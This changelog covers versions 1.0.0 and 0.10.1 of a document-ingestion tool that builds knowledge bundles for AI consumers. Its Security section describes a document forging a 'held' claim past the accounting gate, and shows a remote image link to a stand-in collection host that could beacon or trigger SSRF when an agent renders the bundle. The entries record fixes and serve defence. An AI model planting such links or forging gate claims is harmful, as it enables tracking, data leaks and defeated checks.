# Changelog All notable changes to this project will be documented in this file. The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). ## [1.0.0] — 2026-09-20 ### Added - **A document the gate refuses WHOLE is named in the run's own summary.** Measured 2026-09-20 on an official documentation corpus of 594 sources built with the shipped default gate: 17 sources were refused outright, 16 of them among 197 documentation pages, and the summary said only `` `fail_secure`: 3/594 `` and `` `quarantine_review`: 14/594 ``. The count of documents the gate dropped was not there (`rejected (coded)` sums gate refusals and extraction failures, which have different remedies), the names were not there, and neither was the way out. `okf build` now prints a `Documents the gate refused WHOLE` section carrying all four — the count with its denominator, the names (capped at ten, with the rest in the bundle's `log.md`), the codes, and `--gate none` for a source you vouch for yourself — and repeats it in one line on stderr, where a redirected stdout cannot hide it. `log.md` gains a bullet naming every refused document, uncapped. **The exit code does not move**: the build is valid, every refusal is coded and the bundle is a true record of what the gate allowed; what was wrong was the silence. A run the gate refused nothing from is byte-identical, in the summary and in `log.md`. - **A `Known limitations` section on the front page**, high up and before the install detail: the gate's measured refusals and the way out, the absent ceiling on what one run pays for images, the three gates of this repository that are RED and what each red row means for a user, what the content accounting does not count, and the rough edges nothing is planned for. No new measurement — every number was already taken. - **The payload says what of the question it reached** — a new top-level `coverage` member carrying three lists: the terms the pre-pass read the question as, the terms no concept in the bundle answers, and the terms no delivered excerpt answers. Without it a reader holding eight excerpts cannot tell a bundle that ANSWERED its question from one that merely ranked something; the two payloads have the same shape. Documented as SS 8 point 7 of `docs/consumption-contract.md`, and the generated consumption skill is told to read it. - **Facts, and no verdict, which is a measurement rather than caution.** Two readings were built and both falsified over **81 questions** (16 synthetic, 65 across three real gold sets, 2026-09-20): the share of a question's terms a delivered excerpt answers separates the synthetic controls at 0.33 against 0.50 and then REVERSES on real data, where covered questions run down to 0.27 while one genuinely uncovered question sits at 0.71; and the share of a bundle tying the best lexical match is ~0.00 for every question in a large bundle, covered or not. Question style dominates the first and corpus size the second, so a pre-pass emitting a verdict would assert across corpora what was measured on one. - **Contract change, and the cost to a consumer is a re-run.** Every payload grows the member; the checker does not read it, so a third-party pre-pass that omits it stays conformant. The SS 7.4 known-positive moves with the document it is measured on (14 721 / 375 → 16 389 / 417). - **The retrieval gate is measurable where it was assertable** (`tools/okf_retrieval_gate.py`, not shipped in the wheel): - Row 8 prints the identity of every bundle it measured — path, `bundle_id` and content ref — beside the set's sha256. Measured the same day: two wiki bundles carrying the one `bundle_id` `claude-code-wiki` at different refs score **6 of 20** and **5 of 20** on the same pinned set. - `REAL_SET_PINS` states what each of the three real sets IS — questions, fasit entries, controls and sha256 — so a self-written file in the right shape is refused instead of reading `1 of 1 | 3 of 3 | GREEN`. - Row 5 reads the hold-out threshold as a number in [0, 1] and RUNS the registered set against the registered bundle, printing `answered of asked = share against threshold`. `bool(threshold)` was the whole check, so `report-only; any number is acceptable for v1` passed it. - Row 4's marking reads the payload's `coverage`: `UNANSWERED_BAR = 2/3`, swept and collapsing at both ends (at 0.50 eleven real covered questions are marked; at 0.70 the row falls to 5 of 6). The margin is thin — 0.6087 against 0.6667 — and what it does not catch is published with it. ### Changed - **The two `pip install` lines under "Install in detail" install `[extract]`.** The first screen installs `llm-ingestion-okf[extract]` and those two omitted it, so a reader following the detailed instructions got a build that reports `resolved converter path: unresolved (extractor_extra_missing)` and reads no binary format. Two recipes, two different installations. - **Version `1.0.0`.** The scope this tool is finished at. It adds no capability over `v0.10.1`; what it adds is that the tool says what it does not do. After this tag the library is touched for defects found in its own use, and the next round is Google OKF v0.3. - **A withheld concept now carries the rule that actually decided it.** The source quota filters the WHOLE ranked candidate list rather than the top `k`, so every over-quota candidate came back `source_quota_exceeded` — including the ones the RANK had already put outside `k`, which the quota only reached because it ran first. Measured on 25 real misses 2026-09-17: **13 of them** were labelled by the quota and decided by the rank. `consume._fates_without_quota` asks the same cut what would have become of each candidate with no quota in force, and the drop keeps THAT rule; only a candidate the quota-off cut would have delivered is named as the quota's. The budget step is lifted into `consume._pack` and used by both, so the quota-off fate is decided by the code the run itself uses. This moves the `rule` string a consumer reads for some withheld entries; no delivery, no rank and no excerpt byte moves, and no committed payload in this repository changed. The retrieval gate's row 3 goes **2 of 5 RED to 5 of 5 GREEN**. ## [0.10.1] — 2026-09-19 ### Removed - **`tools/okf_adjudicate.py`.** It shelled out to a model CLI at an absolute path on one machine, which is the one thing nothing in this repository does: no code here starts another program to judge anything. Its tests go with it. The two entries below under earlier versions describe what that tool did while it existed and are left standing — a changelog that edits its own past is not a record. The K3/K4/K5 reports that used it now say so in the past tense. ### Added - **An MCP surface over OKF bundles, in two shapes, plus a generic consumption skill.** `okf mcp --bundle ` serves exactly one bundle; `okf mcp --root ` (repeatable) serves every bundle under the roots and knows none of them by name. Four tools — `okf_list`, `okf_describe`, `okf_ask`, `okf_fetch` — each with its reason written into the description a client reads. A single-bundle server exposes **three**: `okf_list` is absent where there is nothing to list, because a tool that always returns the same one row invites a client to treat discovery as available when the deployment does not have it. The eval was written RED first (`tools/okf_mcp_gate.py`, `5f1772e`); the capability follows. - **The protocol is written narrowly with stdlib only, and that is the packaging invariant kept rather than an aesthetic.** An MCP SDK would be this package's second runtime dependency on the DEFAULT install path, for four JSON-RPC methods and a newline framing, and `test_the_only_runtime_dependency_is_the_security_boundary` pins that list literally. `uv.lock` is untouched. - **Nothing is cached across calls.** Every call re-walks the roots and recomputes the bundle's content identity, so a bundle added, removed or rebuilt while the server runs is seen by the next call without a restart, a configuration edit or a code change — measured, 9 of 9 discovery checks over three bundles written while the process was serving. The cost is paid per call: 0.75 s for the identity of a 2 756-concept bundle, 5.6 s for one ask. - **Containment is two independent checks**: the bundle's own index must name the concept, and the resolved path must be inside the bundle. Removing either one alone still refuses — with a different code, which the gate asserts by name — and removing both is caught by the gate's row 6. - **`okf card `** prints one bundle's identity, concept count, conditional-field counts and whole-bundle cost as JSON, DERIVED on every run and never written into the bundle. **`okf skill --generic`** writes one installable consumption skill for ANY bundle, carrying no bundle's identity or numbers and pointing its reader at the card. Measured: two per-bundle skills are identical on 280 of 312 and 310 lines, and what differs is exactly what goes stale on a rebuild. - Report: `docs/2026-09-20-mcp-to-varianter.md`. The gate stands RED on row 2 (83 of 181 anchors of the frozen graded set reached, of which 99 are present in the bundles at all and 0 were met by a concept-id lookup), and the architecture choice between the two shapes is the operator's. - **Every carried image is now one a model can be SHOWN, and the ones that cannot be are refused out loud.** Until this round the asset path carried whatever format a publisher shipped. Measured 2026-09-19 over the frozen R761 delivery's own `assets/` (denominator 50): 29 JPEG, 2 PNG and **19 "PC bitmap, Windows 3.x, 8-bit, compression 1"** — RLE8 BMP. The 19 are byte-correct files nothing reads, so 19 of that document's figures were present and invisible at once, with `images: N` reporting that they had arrived. - `assets.VIEWABLE_MEDIA_TYPES` states the set (`image/png`, `image/jpeg`, `image/gif`, `image/webp`) and `read_image` tests every asset's SNIFFED type against it. It is a property, not a list of formats we happened to meet: a format nobody here has seen is refused by the same rule that refuses TIFF. - **BMP is converted losslessly to PNG** — 8-bit uncompressed, 8-bit RLE8 and 24-bit uncompressed. The reader is stdlib (`struct` + the existing `zlib` PNG writer) and adds NO dependency. Pillow was measured first and rejected on two counts: `read_image` is on the CORE path (`.html` and `.xml` carry images with no `[extract]` extra), and an asset's name is its content digest, so encoding through an installed library would make a bundle's identity move with that library's version — the property 0.10.0 felled page rasterisation over. Pillow is the INDEPENDENT decoder in the tests instead. - **Lossless, measured on the real files:** all **19 of 19** R761 RLE8 assets convert with RGB identical to Pillow's decoding of the source, **2 366 365 pixels** compared. - **Traceability per converted asset**, on the pointer line where the rest of the asset metadata already lives: the original media type, the original sha256 in full, and the new one. A converted asset is ONE asset — one file in `assets/`, one pointer, one row in the accounting. - **The ceiling is paid before the pixels exist.** The BMP reader bounds the DECLARED size through the same `check_size` the rest of the image path uses, before a row is allocated, and an RLE run is written as one clipped slice — painting pixel by pixel would leave the memory bounded and the CPU unbounded, since a megabyte of `FF` runs is a hundred million paint steps against a 32-pixel frame. - **Two new codes.** `asset_not_viewable` — a real image in a format no model can be shown and with no lossless conversion here (TIFF, JPEG 2000). `asset_bmp_unsupported` — a BMP variant this reader does not express (RLE4, BITFIELDS, 16/32-bit, BITMAPCOREHEADER, over 256 palette entries). Both leave a "not carried" line in the concept and a row in the run log. - **The cost, measured with a committed script** (`tools/okf_asset_census.py`, one row per image, run from two pinned trees over 18 403 files and 67 PDFs, **9 714 image rows**): exactly **35 rows moved** — 19 BMP now carried as PNG, and **16 JPEG 2000 objects** that stop being carried and become `asset_not_viewable`, because no stdlib route decodes JPEG 2000. **9 321 of 9 321** JPEG and PNG rows are byte-identical on both sides, so not one already-viewable picture changed hands. - **One normalisation door in front of the persist gate: U+00AD is removed and COUNTED** (operator decision 2026-09-18). `llm-ingestion-guard` 1.4.0 keeps the soft hyphen in `_ZERO_WIDTH_CPS`, and `output:zero-width-present` is an any-tier carrier — `fail_secure` at every trust level, no sanitisation, no exception. R761 Prosesskoden:2025 carries 71 of them and 0 of the four real zero-width characters; all 71 are Norwegian hyphenation points inside words, so a 701-page process code was unreadable for the whole chain over typography. `extract.normalise_extracted` removes that one character from every extracted text; `ExtractedDocument.soft_hyphens`, `InboxResult.normalised` and the accounting's `normalised_soft_hyphen` carry the number per document and per run, and `log.md` gains a `**Normalisation**` bullet. The guard is untouched, the other four characters and U+00A0 NBSP are untouched, and a real zero-width character is still `fail_secure`. Reach, measured: **0 of the 78** readable documents of the reference corpus carry any of the six, so no bundle measured here moves. - **`refused` in the accounting: a partial refusal is never silent.** The report and `log.md` now say how many of M documents the run persisted nothing of. The exit code is unchanged — it belongs to the whole run. - **`okf build --accounting PATH`: content accounting per element.** Before extraction, every source document is inventoried in a per-format element vocabulary: headings, paragraphs, tables, cells, images, and so on. After the run, every element gets exactly one fate: `carried`, `pointer` or a coded rejection. The fates are written as JSON to PATH and summarised in `log.md`. The build then exits 1 when any element is unaccounted or booked twice. - **`carried` is checked, not declared.** A persisted document's element is carried when all of its text is found in the concept bodies written for that document (letters and digits, case-folded). A document the gate refused books every element as rejected with the gate's code, and its `log.md` line says what the source held. - **The judge is `tools/okf_accounting_gate.py`**, written red first against an independent witness (`tools/okf_witness.py`, which imports nothing from this package). At this change it is green on all six rows, including R761 Prosesskoden:2025: 110 of 110 units under both the default gate and `--gate none`. - **Opt-in, measured.** On the 43-document reference corpus the build took +744 s (+19 %) and +0.53 GB peak RSS. - **The account is over the element classes the vocabulary knows.** A file whose suffix has no reader is accounted at file level only, and a part of a document no vocabulary names is not counted — `.docx` headers, footers, endnotes and comments, `.pptx` speaker notes, `.xlsx` cell comments and formulas, the `.rtf` header/footer groups. Content there can go missing under exit 0 and `0 unaccounted`; README states the list. - **The reference corpus fails the check, with 24 real losses:** 22 images on PDF pages without a text layer, which the reader drops together with the page, and 2 docx Title paragraphs, which the converter moves into metadata. A default-on door would therefore fail builds that pass today. Report: `docs/2026-09-17-innholdsregnskapet-bygget.md`. - **Opt-in by operator decision (2026-09-17)**, until the losses it reports on the reference corpus are fixed. Of the three exceptions the gate proposes, the operator approved the PDF one only; approving it moves no number, because no witness counts a heading in a PDF. - **Limit, measured:** the check proves that a string is present, not where. Short elements such as a section label or a one-word title are often found elsewhere in the same document. With R761's concept text cut to half, 4 823 paragraphs and 3 621 sections were reported lost, but only 3 titles and 16 labels. ### Changed - **`okf build` exits 1 when it extracted at least one document and persisted none.** Until now such a run exited 0, because every refusal was coded and the conservation identity held. The bundle was nonetheless empty. Measured case: guard 1.4.0 refuses R761 Prosesskoden:2025 whole, because of its 71 soft hyphens (U+00AD). Door B's library function (`process_inbox`) and `corpus.measure` are unchanged; for a hostile inbox, "all rejected" is a correct outcome. - In this repository, one test relied on exit 0: `tests/test_cli_gate.py::test_build_refuses_a_document_the_real_guard_refuses`. - No script here does. `okf project` calls the build as a function and is unaffected. - **A file carried through a document is no longer also a coded rejection.** Since 0.10.0, an image beside a document was carried into `assets/` through that document and was ALSO counted as `extractor_unknown`, so one file had two fates. On R761 under `--gate none` that was 50 files. - The conservation identity is now `merged + files carried through a document + coded rejections = N`. - `log.md` writes the middle term only when it is non-zero, so a corpus with no such files keeps its line byte for byte. - The carried files are the references the reader actually resolved and carried (`ExtractedDocument.files`), never a byte match. A byte match would credit R761's 7 unpointed duplicates. - An unpointed file beside a document stays a coded rejection. - **`log.md`'s `Images: C carried of F found`**: with `--accounting`, F is what the SOURCES declare. A refused document's pictures therefore no longer read as "0 of 0 found". ### Security - **A document can no longer forge a carry in the content-accounting gate (0.10.1).** New in the viewable-asset round: a converted image's own bytes are not in `assets/`, so `asset_holds` gained a second route that reads the two digests the bundle states on the pointer line. The expression ran over the WHOLE bundle text, so a document could simply write the sentence. Measured by PM 2026-09-19: a BMP declaring 50 000 x 50 000, refused `asset_too_large` and absent from `assets/`, was reported as held — through an image's `alt` text, and through ordinary body text. Before that route existed, `asset_holds` hashed the source file and nothing a document wrote could reach it; the gate's own first sentence is that the fasit never comes from the reader it judges, and `claimed and not found` could be silenced by a document that asked for it. - The claim now counts only inside a POINTER BLOCK this code wrote, and only where it names the asset that block points at. That closes body text and a table cell. - An image's LABEL is document text written inside a pointer block, so `assets._inline` disarms a checksum field in anything that came from the document: the digits are kept, the colon that makes them a field is not. That closes the `alt` route. Neither half is sufficient alone. - Three mutants in `tools/okf_gate_mutants.py`, one per check, each felled by its own arm; the harness now runs the copy with its own `src/` on `PYTHONPATH`, because an editable install made a `src/` mutant resolve to the working tree and survive without having been applied. - **A remote image reference is no longer a live markdown image link (0.10.1).** New in 0.10.0: before it, no reader read an `` attribute at all. A document could put `![fig](https://collect.example.net/p.gif?u=...)` into a persisted concept, with the address and query string chosen by whoever wrote the document. This package opens no socket, but a consumer that renders the bundle — or an agent that fetches what it renders — does, which turns "this bundle was opened" into a beacon, and a server-side consumer into an SSRF. The guard refuses such a line at `guard-user-upload` and the build's default tier does not, so the same bytes were persisted under the default and refused one tier up. A remote reference is now inert text with the address in ONE code span, and a property test over the readers asserts that no reference produces a markdown image link outside `assets/`. Found by an independent review of 0.10.0 before it was pushed. - The first fix wrote the address **twice** — once in a code span and once bare — and a GFM/linkify renderer autolinks a bare URL into ``. It takes a click rather than a render, so it is weaker than an image link, but "inert" was half true. The address is now written once. - The first fix also **dropped the caption**: `label` stayed in the signature of the line that says what is missing, and no branch read it, so the alt text or figure caption of an image the bundle does not carry was lost — a regression against 0.10.0 and against that line's own reason for existing. It is written again, in the same `--